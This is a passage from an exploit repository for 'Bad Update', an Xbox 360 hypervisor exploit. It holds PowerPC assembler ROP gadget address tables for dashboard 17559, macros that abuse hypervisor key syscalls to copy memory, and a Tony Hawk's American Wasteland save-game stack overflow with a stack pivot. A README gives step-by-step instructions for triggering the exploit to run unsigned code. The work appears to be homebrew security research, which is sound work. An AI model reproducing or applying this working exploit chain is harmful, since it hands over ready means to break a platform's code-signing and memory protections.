r12, var_8(r1) 158 | # mtlr r12 159 | # ld r31, var_10(r1) 160 | # blr 161 | .set lwz_r3, 0x00000000 # .fill 0x50, 1, 0x00 162 | 163 | # lwz r11, 0(r3) 164 | # stw r11, 8(r4) 165 | # li r3, 0 166 | # blr 167 | .set lwz_r3_stw_r4, 0x00000000 168 | .set lwz_r3_stw_r4__r3_disp, 0 # Displacement for r3 load 169 | .set lwz_r3_stw_r4__r4_disp, 0 # Displacement for r4 store 170 | 171 | # lwz r10, 0(r3) 172 | # slwi r11, r11, 2 173 | # add r3, r11, r10 174 | # blr 175 | .set lwz_r10, 0x00000000 176 | 177 | # lwz r11, 8(r31) 178 | # addi r3, r11, -1 179 | # addi r1, r1, 0x70 180 | # lwz r12, -8(r1) 181 | # mtlr r12 182 | # ld r30, -0x18(r1) 183 | # ld r31, -0x10(r1) 184 | # blr 185 | .set lwz_r11_off_r31, 0x00000000 # .fill 0x58, 1, 0x00 186 | 187 | # stw r30, 0(r31) 188 | # addi r1, r1, 0x70 189 | # lwz r12, -8(r1) 190 | # mtlr r12 191 | # ld r30, -0x18(r1) 192 | # ld r31, -0x10(r1) 193 | # blr 194 | .set stw_r30_on_r31, 0x00000000 # .fill 0x58, 1, 0x00 195 | 196 | # lwz r11, 4(r31) 197 | # stw r3, 0(r11) 198 | # li r3, 0 199 | # addi r1, r1, 0x60 200 | # lwz r12, -8(r1) 201 | # mtlr r12 202 | # ld r31, -0x10(r1) 203 | # blr 204 | .set stw_r3_onto_pointer, 0x00000000 # .fill 0x50, 1, 0x00 205 | 206 | # lwz r10, 8(r11) 207 | # add r10, r5, r10 208 | # stw r10, 8(r11) 209 | # blr 210 | .set load_add_store_r10_r5_on_r11, 0x00000000 211 | 212 | # mr r7, r25 213 | # mtctr r30 214 | # mr r6, r26 215 | # mr r5, r27 216 | # mr r4, r28 217 | # mr r3, r29 218 | # bctrl 219 | .set call_func_preload, 0x00000000 220 | 221 | # Default register values for unused parameters to call_func_preload: 222 | .set cf_r3_def, 0x00000000 223 | .set cf_r4_def, 0x00000000 224 | .set cf_r5_def, 0x00000000 225 | .set cf_r6_def, 0x00000000 226 | .set cf_r7_def, 0x00000000 227 | 228 | # Offsets for low half of argument registers in CALL_FUNC_LABEL macro: 229 | .set cf_r3_offset, 0x00 230 | .set cf_r4_offset, 0x00 231 | .set cf_r5_offset, 0x00 232 | .set cf_r6_offset, 0x00 233 | .set cf_r7_offset, 0x00 234 | 235 | # mr r3, r1 236 | # blr 237 | .set mr_r1_to_r3, 0x00000000 238 | 239 | # blr 240 | .set blr_nop, 0x00000000 241 | 242 | # cmplwi r3, 0 243 | # li r3, 0 244 | # beq loc_817F031C 245 | # li r3, 1 246 | # 247 | # addi r1, r1, 0x60 248 | # lwz r12, -8(r1) 249 | # mtlr r12 250 | # ld r31, -0x10(r1) 251 | # blr 252 | .set clamp_r3, 0x00000000 # .fill 0x50, 1, 0x00 253 | 254 | # slwi r10, r3, 2 255 | # addi r11, r11, 0x3D64 256 | # lwzx r3, r10, r11 257 | # blr 258 | .set mul_r3_4_lwzx_r11, 0x00000000 259 | .set mul_r3_4_lwzx_r11__disp, 0x0000 260 | 261 | # lwz r11, 0x18(r31) 262 | # add r11, r30, r11 263 | # stw r11, 0x18(r31) 264 | # addi r1, r1, 0x70 265 | # lwz r12, -8(r1) 266 | # mtlr r12 267 | # ld r30, -0x18(r1) 268 | # ld r31, -0x10(r1) 269 | # blr 270 | .set load_add_store_r11_r30_on_r31, 0x00000000 # .fill 0x58, 1, 0x00 271 | .set load_add_store_r11_r30_on_r31__disp, 0x00 272 | 273 | # lwz r11, 0(r31) 274 | # mtctr r11 275 | # bctrl 276 | .set call_ptr_off_r31, 0x00000000 277 | -------------------------------------------------------------------------------- /Common/KernelConfig_Retail_17559.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Specify the kernel version so the build config file knows the kernel addresses have been defined. 4 | .set KRNL_VER, 17559 5 | 6 | # Kernel function addresses: 7 | .set DbgPrint, 0x80085EE8 8 | .set DbgBreakPoint, 0x80085EA0 9 | .set HalSendSMCMessage, 0x80067F48 10 | .set KeFlushCacheRange, 0x80073850 11 | .set KeLockL2, 0x80071E00 12 | .set KeStallExecutionProcessor, 0x80073484 13 | .set MmFreePhysicalMemory, 0x800807B8 14 | .set MmGetPhysicalAddress, 0x80080048 15 | .set NtAllocateVirtualMemory, 0x80083AA8 16 | .set NtClose, 0x80089EB0 17 | .set ObCreateSymbolicLink, 0x8008AEF0 18 | .set RtlInitAnsiString, 0x80086110 19 | .set VdDisplayFatalError, 0x800BDD40 20 | .set XexLoadImage, 0x8007D7C0 21 | .set XexUnloadImage, 0x8007D0E8 22 | 23 | .set memcmp, 0x80117200 # Can be substituted for XeCryptMemDiff if memcmp is not available (or anything with same signature and behavior) (do NOT use RtlCompareMemory, it doesn't return 0 on matching data) 24 | 25 | # System call functions: 26 | .set HvxKeysExGetKey, 0x80108580 27 | .set HvxKeysExSetKey, 0x80108570 28 | .set HvxEncryptedReserveAllocation, 0x80082CD0 29 | .set HvxEncryptedReleaseAllocation, 0x80082D00 30 | .set HvxEncryptedEncryptAllocation, 0x80082CE0 31 | .set HvxFlushDCacheRange, 0x8007F968 32 | 33 | # System call ordinals: 34 | .set sc_HvxPostOutputExploit, 0x0D 35 | .set sc_HvxFlushUserModeTb, 0x21 36 | .set sc_HvxKeysExecute, 0x42 37 | .set sc_HvxEncryptedReserveAllocation, 0x49 38 | .set sc_HvxEncryptedEncryptAllocation, 0x4A 39 | .set sc_HvxEncryptedReleaseAllocation, 0x4C 40 | .set sc_HvxRevokeUpdate, 0x65 41 | 42 | .set sc_HvxArbWriteSyscall, sc_HvxFlushUserModeTb 43 | 44 | # Boot animation addresses: 45 | .set BootAnimCodePageAddress, 0x98030000 46 | 47 | # Xam function addresses: 48 | .set CreateFileA, 0x8171BF40 # Export 1095 49 | .set GetFileSize, 0x8171C7C0 # Export 1063 50 | .set ReadFile, 0x8171D2C0 # Export 1052 51 | .set WriteFile, 0x81722268 # Export 1054 52 | .set CloseHandle, 0x8171B9A8 # Export 1044 53 | 54 | .set CreateThread, 0x8171C1B0 # Export 1084 55 | .set ResumeThread, 0x8171D498 # Export 1085 56 | .set GetLastError, 0x81721AC0 # Export 1006 57 | 58 | .set memcpy, 0x8172D590 59 | .set memset, 0x8172D4F0 60 | 61 | .set XamLoaderLaunchTitle, 0x816A1820 # Export 420 62 | .set XamLoaderTerminateTitle, 0x816A1458 # Export 425 63 | .set XLaunchNewImage, XamLoaderLaunchTitle 64 | 65 | 66 | ########################################################### 67 | # Kernel gadget address. 68 | 69 | # addi r1, r1, 0xA0 70 | # b __restgprlr_24 71 | .set __restgprlr_24, 0x800631A0 # .fill 0x58, 1, 0x00 72 | 73 | # addi r1, r1, 0x90 74 | # b __restgprlr_26 75 | .set __restgprlr_26, 0x80062578 # .fill 0x58, 1, 0x00 76 | 77 | # addi r1, r1, 0x80 78 | # b __restgprlr_27 79 | .set __restgprlr_27, 0x80061D50 # .fill 0x50, 1, 0x00 80 | 81 | # addi r1, r1, 0x80 82 | # b __restgprlr_28 83 | .set __restgprlr_28, 0x8006148C # .fill 0x58, 1, 0x00 84 | 85 | # addi r1, r1, 0x70 86 | # b __restgprlr_29 87 | .set __restgprlr_29, 0x800619B4 # .fill 0x50, 1, 0x00 88 | 89 | # addi r1, r1, 0x70 90 | # lwz r12, -0x8(r1) 91 | # mtlr r12 92 | # ld r30, -0x18(r1) 93 | # ld r31, -0x10(r1) 94 | # blr 95 | .set __restgprlr_30, 0x80061538 # .fill 0x58, 1, 0x00 96 | 97 | # addi r1, r1, 0x60 98 | # lwz r12, -0x8(r1) 99 | # mtlr r12 100 | # ld r31, -0x10(r1) 101 | # blr 102 | .set __restgprlr_31, 0x800664B0 # .fill 0x50, 1, 0x00 103 | 104 | # stw r3, 0(r31) 105 | # addi r1, r1, 0x60 106 | # lwz r12, -0x8(r1) 107 | # mtlr r12 108 | # ld r31, -0x10(r1) 109 | # blr 110 | .set stw_r3, 0x800D986C # .fill 0x50, 1, 0x00 111 | 112 | # mr r3, r31 113 | # addi r1, r1, 0x70 114 | # lwz r12, -8(r1) 115 | # mtlr r12 116 | # ld r31, -0x10(r1) 117 | # blr 118 | .set mr_r31_to_r3, 0x800661E4 # .fill 0x60, 1, 0x00 119 | 120 | # mr r11, r31 121 | # mr r3, r11 122 | # addi r1, r1, 0x70 123 | # lwz r12, -8(r1) 124 | # mtlr r12 125 | # ld r30, -0x18(r1) 126 | # ld r31, -0x10(r1) 127 | # blr 128 | .set mr_r31_to_r11, 0x800C8748 # .fill 0x58, 1, 0x00 129 | 130 | # mtctr r31 131 | # bctrl 132 | # addi r1, r1, 0x60 133 | # lwz r12, -8(r1) 134 | # mtlr r12 135 | # ld r31, -0x10(r1) 136 | # blr 137 | .set call_func_dispatch, 0x8007B0AC # .fill 0x50, 1, 0x00 138 | 139 | 140 | ########################################################### 141 | # Xam gadget address. 142 | 143 | # lwz r1, 0(r1) 144 | # lwz r12, -8(r1) 145 | # mtlr r12 146 | # blr 147 | .set stack_pivot, 0x81725378 148 | 149 | # lwz r3, 0(r31) 150 | # addi r1, r1, 0x60 151 | # lwz r12, var_8(r1) 152 | # mtlr r12 153 | # ld r31, var_10(r1) 154 | # blr 155 | .set lwz_r3, 0x816ABA5C # .fill 0x50, 1, 0x00 156 | 157 | # lwz r11, 0(r3) 158 | # stw r11, 8(r4) 159 | # li r3, 0 160 | # blr 161 | .set lwz_r3_stw_r4, 0x817A27B0 162 | .set lwz_r3_stw_r4__r3_disp, 0 # Displacement for r3 load 163 | .set lwz_r3_stw_r4__r4_disp, 8 # Displacement for r4 store 164 | 165 | # lwz r10, 0(r3) 166 | # slwi r11, r11, 2 167 | # add r3, r11, r10 168 | # blr 169 | .set lwz_r10, 0x8196C574 170 | 171 | # lwz r11, 8(r31) 172 | # addi r3, r11, -1 173 | # addi r1, r1, 0x70 174 | # lwz r12, -8(r1) 175 | # mtlr r12 176 | # ld r30, -0x18(r1) 177 | # ld r31, -0x10(r1) 178 | # blr 179 | .set lwz_r11_off_r31, 0x816A8D94 # .fill 0x58, 1, 0x00 180 | 181 | # stw r30, 0(r31) 182 | # addi r1, r1, 0x70 183 | # lwz r12, -8(r1) 184 | # mtlr r12 185 | # ld r30, -0x18(r1) 186 | # ld r31, -0x10(r1) 187 | # blr 188 | .set stw_r30_on_r31, 0x816FCAAC # .fill 0x58, 1, 0x00 189 | 190 | # lwz r11, 4(r31) 191 | # stw r3, 0(r11) 192 | # li r3, 0 193 | # addi r1, r1, 0x60 194 | # lwz r12, -8(r1) 195 | # mtlr r12 196 | # ld r31, -0x10(r1) 197 | # blr 198 | .set stw_r3_onto_pointer, 0x81922120 # .fill 0x50, 1, 0x00 199 | 200 | # lwz r10, 8(r11) 201 | # add r10, r5, r10 202 | # stw r10, 8(r11) 203 | # blr 204 | .set load_add_store_r10_r5_on_r11, 0x819D88A8 205 | 206 | # mr r7, r25 207 | # mtctr r30 208 | # mr r6, r26 209 | # mr r5, r27 210 | # mr r4, r28 211 | # mr r3, r29 212 | # bctrl 213 | .set call_func_preload, 0x8169CDDC 214 | 215 | # Default register values for unused parameters to call_func_preload: 216 | .set cf_r3_def, 0x29292929 217 | .set cf_r4_def, 0x28282828 218 | .set cf_r5_def, 0x27272727 219 | .set cf_r6_def, 0x26262626 220 | .set cf_r7_def, 0x25252525 221 | 222 | # Offsets for low half of argument registers in CALL_FUNC_LABEL macro: 223 | .set cf_r3_offset, 0x2C 224 | .set cf_r4_offset, 0x24 225 | .set cf_r5_offset, 0x1C 226 | .set cf_r6_offset, 0x14 227 | .set cf_r7_offset, 0x0C 228 | 229 | # mr r3, r1 230 | # blr 231 | .set mr_r1_to_r3, 0x817F4EC4 232 | 233 | # blr 234 | .set blr_nop, 0x817F4EC8 235 | 236 | # cmplwi r3, 0 237 | # li r3, 0 238 | # beq loc_817F031C 239 | # li r3, 1 240 | # 241 | # addi r1, r1, 0x60 242 | # lwz r12, -8(r1) 243 | # mtlr r12 244 | # ld r31, -0x10(r1) 245 | # blr 246 | .set clamp_r3, 0x817F030C # .fill 0x50, 1, 0x00 247 | 248 | # slwi r10, r3, 2 249 | # addi r11, r11, 0x3D64 250 | # lwzx r3, r10, r11 251 | # blr 252 | .set mul_r3_4_lwzx_r11, 0x816D8864 253 | .set mul_r3_4_lwzx_r11__disp, 0x3D64 254 | 255 | # lwz r11, 0x18(r31) 256 | # add r11, r30, r11 257 | # stw r11, 0x18(r31) 258 | # addi r1, r1, 0x70 259 | # lwz r12, -8(r1) 260 | # mtlr r12 261 | # ld r30, -0x18(r1) 262 | # ld r31, -0x10(r1) 263 | # blr 264 | .set load_add_store_r11_r30_on_r31, 0x817F7DC8 # .fill 0x58, 1, 0x00 265 | .set load_add_store_r11_r30_on_r31__disp, 0x18 266 | 267 | # lwz r11, 0(r31) 268 | # mtctr r11 269 | # bctrl 270 | .set call_ptr_off_r31, 0x81699DC8 271 | -------------------------------------------------------------------------------- /Common/MemcpyCipherText.asm: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Notes: 4 | # - All macros have a common pro/epilogue where the caller must transition in/out using the 5 | # __restgprlr_31 gadget. 6 | 7 | 8 | ########################################################### 9 | # void MEMCPY_CIPHER_TEXT_BLOCK() 10 | # 11 | # TODO 12 | # 13 | ########################################################### 14 | .macro MEMCPY_CIPHER_TEXT_BLOCK dstAddrPhys, srcAddrPhys, size 15 | 16 | ########################################################### 17 | # Gadget N: prologue 18 | # 19 | # addi r1, r1, 0x60 20 | # lwz r12, -0x8(r1) 21 | # mtlr r12 22 | # ld r31, -0x10(r1) 23 | # blr 24 | ########################################################### 25 | .fill 0x50, 1, 0x00 26 | .long 0x00000000, \size # r31 27 | .long mr_r31_to_r3 # lr 28 | .long 0x00000000 29 | 30 | ########################################################### 31 | # Gadget N: load r3 with block size 32 | # 33 | # mr r3, r31 34 | # addi r1, r1, 0x70 35 | # lwz r12, -8(r1) 36 | # mtlr r12 37 | # ld r31, -0x10(r1) 38 | # blr 39 | ########################################################### 40 | .fill 0x60, 1, 0x00 41 | .long 0x00000000, pPayloadCipherTextSizeValue - 4 # r31 - pointer to address to store block size at 42 | .long stw_r3_onto_pointer # lr 43 | .long 0x00000000 44 | 45 | ########################################################### 46 | # Gadget N: store block size into pPayloadCipherTextSizeValue 47 | # 48 | # lwz r11, 4(r31) 49 | # stw r3, 0(r11) 50 | # li r3, 0 51 | # addi r1, r1, 0x60 52 | # lwz r12, -8(r1) 53 | # mtlr r12 54 | # ld r31, -0x10(r1) 55 | # blr 56 | ########################################################### 57 | 58 | ########################################################### 59 | # Gadget N: get stack pointer for next gadget 60 | # 61 | # Note: the epilogue is required here even though GET_STACK_PTR is immediately followed by another 62 | # macro (and could be chained) as it accounts for the epilogue in the stack pointer calculation. 63 | ########################################################### 64 | GET_STACK_PTR arithmetic_scratch1 65 | .fill 0x50, 1, 0x00 66 | .long 0x31313131, 0x31313131 # r31 67 | .long __restgprlr_31 # lr 68 | .long 0x00000000 69 | 70 | memcpy_cipher_text_block_base_addr = . 71 | 72 | ########################################################### 73 | # Gadget N: write srcAddrPhys into gadget data at L9 below 74 | # 75 | ########################################################### 76 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r4_offset) - memcpy_cipher_text_block_base_addr), \srcAddrPhys 77 | 78 | ########################################################### 79 | # Gadget N: call HvxKeysExSetKey 80 | # 81 | # r3 = key id 82 | # r4 = source physical address (to be updated by previous gadgets) 83 | # r5 = block size 84 | ########################################################### 85 | CALL_FUNC 99, HvxKeysExSetKey, R3H=0, R3L=0x00000102, R4H=0, R4L=0x41414141, R5H=0, R5L=\size 86 | 87 | ########################################################### 88 | # Gadget N: write PayloadCipherTextSizeValuePhysAddr into gadget data at L9 below 89 | # 90 | ########################################################### 91 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r5_offset) - memcpy_cipher_text_block_base_addr), PayloadCipherTextSizeValuePhysAddr 92 | 93 | ########################################################### 94 | # Gadget N: write dstAddrPhys into gadget data at L8 below 95 | # 96 | ########################################################### 97 | WRITE_PTR_TO_GADGET_DATA memcpy_cipher_text_scratch, arithmetic_scratch1, ((99f + cf_r4_offset) - memcpy_cipher_text_block_base_addr), \dstAddrPhys 98 | 99 | ########################################################### 100 | # Gadget N: call HvxKeysExGetKey 101 | # 102 | # r3 = key id 103 | # r4 = destination physical address (to be updated by previous gadgets) 104 | # r5 = physical address of block size value (to be updated by previous gadgets) 105 | ########################################################### 106 | CALL_FUNC 99, HvxKeysExGetKey, R3H=0, R3L=0x00000102, R4H=0, R4L=0x41414141, R5H=0, R5L=0x41414141 107 | 108 | ########################################################### 109 | # Gadget N: epilogue to be implemented by the caller 110 | # 111 | # addi r1, r1, 0x60 112 | # lwz r12, -0x8(r1) 113 | # mtlr r12 114 | # ld r31, -0x10(r1) 115 | # blr 116 | ########################################################### 117 | 118 | .endm 119 | 120 | ########################################################### 121 | # void MEMCPY_CIPHER_TEXT() 122 | # 123 | # TODO 124 | # 125 | ########################################################### 126 | .macro MEMCPY_CIPHER_TEXT dstAddrPhys, srcAddrPhys, size 127 | 128 | memcpy_cipher_text_base_addr = . 129 | 130 | ########################################################### 131 | # Gadget N: prologue 132 | # 133 | # addi r1, r1, 0x60 134 | # lwz r12, -0x8(r1) 135 | # mtlr r12 136 | # ld r31, -0x10(r1) 137 | # blr 138 | ########################################################### 139 | .fill 0x50, 1, 0x00 140 | .long 0x31313131, 0x31313131 # r31 141 | .long __restgprlr_31 # lr 142 | .long 0x00000000 143 | 144 | # Loop for number of 2048 blocks. 145 | .rept \size / 2048 146 | 147 | ########################################################### 148 | # Gadget N: copy next block of cipher text 149 | # 150 | ########################################################### 151 | MEMCPY_CIPHER_TEXT_BLOCK \dstAddrPhys, \srcAddrPhys, 2048 152 | 153 | ########################################################### 154 | # Gadget N: update source and dest addresses 155 | # 156 | ########################################################### 157 | LOAD_ADD_STORE \srcAddrPhys, 2048 158 | LOAD_ADD_STORE \dstAddrPhys, 2048 159 | 160 | .endr 161 | 162 | # Check for remainder size. 163 | .if \size % 2048 164 | 165 | _memcpy_remainder_size = \size % 2048 166 | 167 | ########################################################### 168 | # Gadget N: copy next block of cipher text 169 | # 170 | ########################################################### 171 | MEMCPY_CIPHER_TEXT_BLOCK \dstAddrPhys, \srcAddrPhys, _memcpy_remainder_size 172 | 173 | ########################################################### 174 | # Gadget N: update source and dest addresses 175 | # 176 | ########################################################### 177 | LOAD_ADD_STORE \srcAddrPhys, _memcpy_remainder_size 178 | LOAD_ADD_STORE \dstAddrPhys, _memcpy_remainder_size 179 | 180 | .endif 181 | 182 | ########################################################### 183 | # Gadget N: epilogue (not really needed but here for consistency) 184 | # 185 | # addi r1, r1, 0x60 186 | # lwz r12, -0x8(r1) 187 | # mtlr r12 188 | # ld r31, -0x10(r1) 189 | # blr 190 | ########################################################### 191 | .fill 0x50, 1, 0x00 192 | .long 0x31313131, 0x31313131 # r31 193 | .long __restgprlr_31 # lr 194 | .long 0x00000000 195 | 196 | .endm 197 | 198 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![banner](https://github.com/user-attachments/assets/e9684c9d-d4db-48a8-9661-53629c20e22e) 2 | 3 | Bad Update is a non-persistent software only hypervisor exploit for Xbox 360 that works on the latest (17559) software version. This repository contains the exploit files that can be used on an Xbox 360 console to run unsigned code. This exploit can be triggered using one of the following games: 4 | - Tony Hawk's American Wasteland (NTSC/PAL/RF see [here](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Tony-Hawk's-American-Wasteland#compatible-versions) for how to identify your version/region) 5 | - Rock Band Blitz (trial or full game, see [here](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Rock-Band-Blitz) for more information) 6 | 7 | **This exploit is NOT persistent!** This means your console will only be in a hacked state (able to run homebrew/unsigned code) for as long as it's kept on. **Once you reboot or power off your console you'll need to run the exploit again**. The exploit cannot be made persistent. 8 | 9 | **Your Xbox 360 console must be on dashboard version 17559 in order to use this exploit**. While the exploit can be ported to any system software version I have only built the exploit for the 17559 dashboard version. 10 | 11 | For information on how to use the exploit see the Quick Start section below. For information on how the exploit works or how to compile it from scratch see the following wiki pages: 12 | - [Compiling](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Compiling) 13 | - [Exploit Details](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/Exploit-Details) 14 | 15 | # Quick Start 16 | To run the Bad Update exploit you'll need one of the supported games listed above and a USB stick. The following steps give a brief overview of how to run the exploit, for more detailed steps please see the [How To Use](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/How-To-Use) wiki page. 17 | 1. Download the Xbox360BadUpdate-Retail-USB.zip file from the releases section and extract the files. 18 | 2. Format a USB stick to FAT32. 19 | 3. Copy the contents of the folder matching the game you want to use for the exploit to the root of the USB stick. 20 | * If you're using Tony Hawk's American Wasteland copy the contents of the Tony Hawk's American Wasteland folder to the root of the USB stick. 21 | * If you're using Rock Band Blitz copy the contents of the Rock Band Blitz folder to the root of the USB stick. 22 | * The root of the USB stick should contain the following files/folders: BadUpdatePayload, Content, name.txt. 23 | 4. Place the unsigned executable you want to run when the exploit triggers into the BadUpdatePayload folder on the USB stick and name it "default.xex" (replace any existing file in the folder). This xex file must be in retail format and have all restrictions removed (see the wiki for how to do this). 24 | 5. Insert the USB stick into your Xbox 360 console and power it on. 25 | 6. Sign into the Player 1 profile and run the game you're using to trigger the exploit. 26 | * If you're using Rock Band Blitz, there is no profile included. You can use any local/offline profile, or run the game completely signed out. 27 | 7. Follow the instructions for the game you chose to load the hacked game save file and begin the exploit process. 28 | 8. The console's ring of light will flash different colors/segments during the exploit process to indicate progress. For information on what the different values mean see the [LED Patterns and Meanings](https://github.com/grimdoomer/Xbox360BadUpdate/wiki/How-To-Use#led-patterns-and-meanings) section of the wiki. 29 | 9. Once the exploit triggers successfully the RoL should be fully lit in green. The hypervisor has now been patched to run unsigned executables and your unsigned default.xex file will be run. 30 | 31 | The exploit has a 30% success rate and can take up to 20 minutes to trigger successfully. If after 20 minutes the exploit hasn't triggered you'll need to power off your Xbox 360 console and repeat the process from step 5. 32 | 33 | # FAQ 34 | **Q: Why do I have to re-run the exploit every time I turn my console on?** 35 | A: The exploit is not-persistent, it only works for as long as the console is kept on. Once the console is turned off or rebooted you'll need to run the exploit again. 36 | 37 | **Q: What does this provide over the RGH Hack/should I use this instead of RGH?** 38 | A: This is a software only exploit that doesn't require you open your console or perform any soldering to use. Other than that it's inferior to the RGH exploit in every way and should be considered a "proof of concept" and not something you use in place of RGH. 39 | 40 | **Q: Can this be turned into a softmod?** 41 | A: No, the Xbox 360 boot chain is very secure with no attack surface to try and exploit. There will never exist a software only boot-to-hacked-state exploit akin to a "softmod". 42 | 43 | **Q: Does this work on winchester consoles?** 44 | A: Yes it has been confirmed to work on winchester consoles. 45 | 46 | **Q: Does this work with the Original Xbox version of Tony Hawk's American Wasteland?** 47 | A: No, it only works with the Xbox 360 version. 48 | 49 | **Q: Can \ be used with this?** 50 | A: No, the Tony Hawk save game exploit is specific to Tony Hawk's American Wasteland and has nothing to do with it being a skateboarding game. 51 | 52 | **Q: Can \ be used with this?** 53 | A: No, the Rock Band save game exploit is specific to Rock Band Blitz and has nothing to do with it being a music game. 54 | 55 | **Q: I ran the exploit and nothing happened?** 56 | A: The exploit has a 30% success rate. If after running for 20 minutes the exploit hasn't triggered you'll need to reboot your console and try again. 57 | 58 | **Q: Why does the exploit only run a single unsigned xex?** 59 | A: My goal was to hack the hypervisor, not to develop a robust all-in-one homebrew solution. Someone else will need to develop a post-exploit executable that patches in all the quality of life things you would get from something like the RGH exploit. 60 | 61 | **Q: Why does the exploit take so long to trigger/have a low success rate?** 62 | A: The exploit is a race condition that requires precise timing and several other conditions to be met for it to trigger successfully. As such it can take a while for that to happen. 63 | -------------------------------------------------------------------------------- /Stage1/RockBandBlitz/BadUpdateExploit-Data.asm: -------------------------------------------------------------------------------- 1 | # Description: Constant binary data used by the RB Blitz exploit 2 | # Author: Emma (IPG) 3 | 4 | # The actual Blitz exploit is built elsewhere - this is the runtime data that needs to be loaded by the savegame 5 | # as "BadUpdateExploit-Data.bin" 6 | 7 | .include "BuildConfig.asm" 8 | .include "BadUpdateExploit_Data_h.asm" 9 | .include "Gadgets.asm" 10 | 11 | .include "BadUpdateExploit_Data.asm" 12 | -------------------------------------------------------------------------------- /Stage1/RockBandBlitz/RBBlitz.asm: -------------------------------------------------------------------------------- 1 | 2 | ########################################################### 3 | # Rock Band Blitz function addresses. 4 | 5 | # XTL functions: 6 | .set XPhysicalAlloc, 0x82193310 7 | .set XSetThreadProcessor, 0x82193068 8 | 9 | 10 | ########################################################### 11 | # Rock Band Blitz data addresses. 12 | .set RuntimeDataSegmentAddress, 0x43570000 # From the comically large allocation 13 | -------------------------------------------------------------------------------- /Stage1/TonyHawksAmericanWasteland/BadUpdateExploit.asm: -------------------------------------------------------------------------------- 1 | # Description: Save game exploit for Tony Hawk's American Wasteland for Xbox 360 (NTSC) 2 | # Author: Grimdoomer 3 | 4 | 5 | # Compiler flags, must be set before any code or include directives: 6 | .include "BuildConfig.asm" 7 | 8 | # Include the header for the data segment file. 9 | .include "BadUpdateExploit_Data_h.asm" 10 | 11 | # Include additional files: 12 | .include "Gadgets.asm" 13 | 14 | .set ExploitDataSegmentAddress, GapDataStartHeapAddress + (_data_segment_start - _gap_data_start) 15 | .set ExploitDataSegmentSize, _data_segment_end - _data_segment_start 16 | 17 | .set gap_data_base_addr_ptr, GapDataStartHeapAddress + (_gap_data_base_address_ptr - _gap_data_start) 18 | 19 | #--------------------------------------------------------- 20 | # Gap name stack overflow 21 | #--------------------------------------------------------- 22 | .long GapDataStartFileOffset 23 | .long (_gap_data_end - _gap_data_start) 24 | 25 | _gap_data_start: 26 | 27 | # +0 Start of gap 1 struct. 28 | .byte 0x08, 0x08, 0x1F, 0x1D 29 | .byte 0x00, 0x00, 0x31, 0x00 30 | 31 | # +8 Fill the gap name buffer with crap data. 32 | .byte "Grim R0x T0ny H4wk's S0x!" 33 | _1: .fill 70 - (_1 - _gap_data_start) - 2, 1, 0x69 34 | 35 | # +78 new register values for function prolog 36 | .long 0x23232323, 0x23232323 # r23 37 | .long 0x24242424, 0x24242424 # r24 38 | .long 0x25252525, 0x25252525 # r25 39 | .long 0x26262626, 0x26262626 # r26 40 | .long 0x27272727, 0x27272727 # r27 41 | .long 0x28282828, 0x28282828 # r28 42 | .long 0x29292929, 0x29292929 # r29 43 | .long 0x30303030, 0x30303030 # r30 44 | .long 0x31313131, 0x31313131 # r31 45 | .long stack_pivot # lr 46 | .long 0xffffffff # 47 | .long GapDataStartHeapAddress + (stack_data - _gap_data_start) + 8 # Target stack pivot address 48 | 49 | # null terminator 50 | .byte 0 51 | #.align 4 52 | 1: .fill 0x10 - ((GapDataStartHeapAddress + (1b - _gap_data_start)) % 0x10), 1, 0x00 53 | 54 | stack_data: 55 | ########################################################### 56 | # Gadget 0: stack pivot 57 | # 58 | # lwz r1, 0(r1) # Perform the stack pivot (r1 = stack_data + 8) 59 | # lwz r12, -8(r1) # Load next gadget address 60 | # mtlr r12 61 | # blr 62 | ########################################################### 63 | .long __restgprlr_31 # r12 - address of the next ROP gadget 64 | .long 0x00000000 65 | 66 | ########################################################### 67 | # Gadget N: copy exploit data into .binkdata segment for easier access 68 | # 69 | # r3 = dst address = address of .binkdata segment 70 | # r4 = src address = address of data segment data in park file buffer 71 | # r5 = size to copy = size of data segment data 72 | ########################################################### 73 | CALL_FUNC 11, memcpy, R3H=0, R3L=RuntimeDataSegmentAddress, R4H=0, R4L=ExploitDataSegmentAddress, R5H=0, R5L=ExploitDataSegmentSize 74 | 75 | ########################################################### 76 | # Gadget N: allocate virtual memory for second stage ROP chain data 77 | # 78 | # r3 = pointer to allocation address (NULL) 79 | # r4 = pointer to size variable (64kb allocation size) 80 | # r5 = allocation type = MEM_COMMIT 81 | # r6 = page protection = PAGE_READWRITE 82 | # r7 = memory region type 83 | ########################################################### 84 | CALL_FUNC 11, NtAllocateVirtualMemory, R3H=0, R3L=second_stage_chain_address, R4H=0, R4L=second_stage_chain_size, R5H=0, R5L=0x00001000, R6H=0, R6L=0x00000004, R7H=0, R7L=0 85 | 86 | ########################################################### 87 | # Gadget N: mount the payload folder so we can read the second stage ROP chain file 88 | # 89 | ########################################################### 90 | CREATE_SYMLINK hdd_symlink_mount, hdd_symlink_path 91 | 92 | ########################################################### 93 | # Gadget N: read the secondary ROP chain file into memory 94 | # 95 | ########################################################### 96 | _rf_offset = (1f - _gap_data_start) 97 | 1: READ_FILE secondary_payload_file_path, second_stage_chain_address, gap_data_base_addr_ptr, _rf_offset 98 | 99 | ########################################################### 100 | # Gadget N: offset the second stage ROP chain address to compensate for the stack pivot gadget used 101 | # 102 | ########################################################### 103 | LOAD_ADD_STORE second_stage_chain_address, 8 + second_stage_offset 104 | 105 | ########################################################### 106 | # Gadget N: write new stack pointer address into stack pivot gadget data 107 | # 108 | ########################################################### 109 | WRITE_PTR_TO_GADGET_DATA read_file_scratch, gap_data_base_addr_ptr, 1f - _gap_data_start, second_stage_chain_address 110 | .fill 0x50, 1, 0x00 111 | .long 0x31313131, 0x31313131 # r31 112 | .long stack_pivot # lr 113 | .long 0x00000000 114 | 115 | ########################################################### 116 | # Gadget N: pivot to second stage ROP chain 117 | # 118 | # lwz r1, 0(r1) 119 | # -lwz r12, -8(r1) 120 | # -mtlr r12 121 | # -blr 122 | ########################################################### 123 | 1: .long 0x41414141 # new 